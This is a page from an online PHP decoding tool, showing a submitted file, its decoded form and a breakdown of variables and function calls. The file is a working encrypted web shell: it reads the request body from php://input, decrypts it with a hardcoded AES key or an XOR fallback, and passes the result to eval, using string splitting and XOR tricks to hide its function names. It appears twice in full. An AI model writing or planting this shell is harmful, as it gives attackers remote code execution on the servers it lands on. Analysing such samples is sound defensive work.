Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @error_reporting(0);session_start();$key="ada61885582c7617";$_SESSION['k']=$key;$f=..

Decoded Output download

 <?php @error_reporting(0);session_start();$key="ada61885582c7617";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$H82j7=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/s+/','','base 64 _ deco de');$H82j7=$t($H82j7."");for($i=0;$i<strlen($H82j7);$i++) { $new_key = $key[$i+1&15];$H82j7[$i] = $H82j7[$i] ^ $new_key;}	}else{ $H82j7=openssl_decrypt($H82j7, "AES128", $key);}$arr=explode('|',$H82j7);$func=$arr[0];$params=$arr[1];class Gio81J5c{ public function __invoke($p) {@eval("/*ZY81029dy2*/".$p."");}}@call_user_func/*ZY81029dy2*/(new Gio81J5c(),$params);?>

Did this file decode correctly?

Original Code

 <?php @error_reporting(0);session_start();$key="ada61885582c7617";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$H82j7=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/s+/','','base 64 _ deco de');$H82j7=$t($H82j7."");for($i=0;$i<strlen($H82j7);$i++) { $new_key = $key[$i+1&15];$H82j7[$i] = $H82j7[$i] ^ $new_key;}	}else{ $H82j7=openssl_decrypt($H82j7, "AES128", $key);}$arr=explode('|',$H82j7);$func=$arr[0];$params=$arr[1];class Gio81J5c{ public function __invoke($p) {@eval("/*ZY81029dy2*/".$p."");}}@call_user_func/*ZY81029dy2*/(new Gio81J5c(),$params);?>

Function Calls

chr 11
preg_filter 1
session_start 1
error_reporting 1
extension_loaded 1
file_get_contents 1

Variables

$f file_get_contents
$p php://input
$key ada61885582c7617
$H82j7
$_SESSION [{'key': 'k', 'value': 'ada61885582c7617'}]

Stats

MD5 d89d42720736c21584f9daf1de7749f8
Eval Count 0
Decode Time 73 ms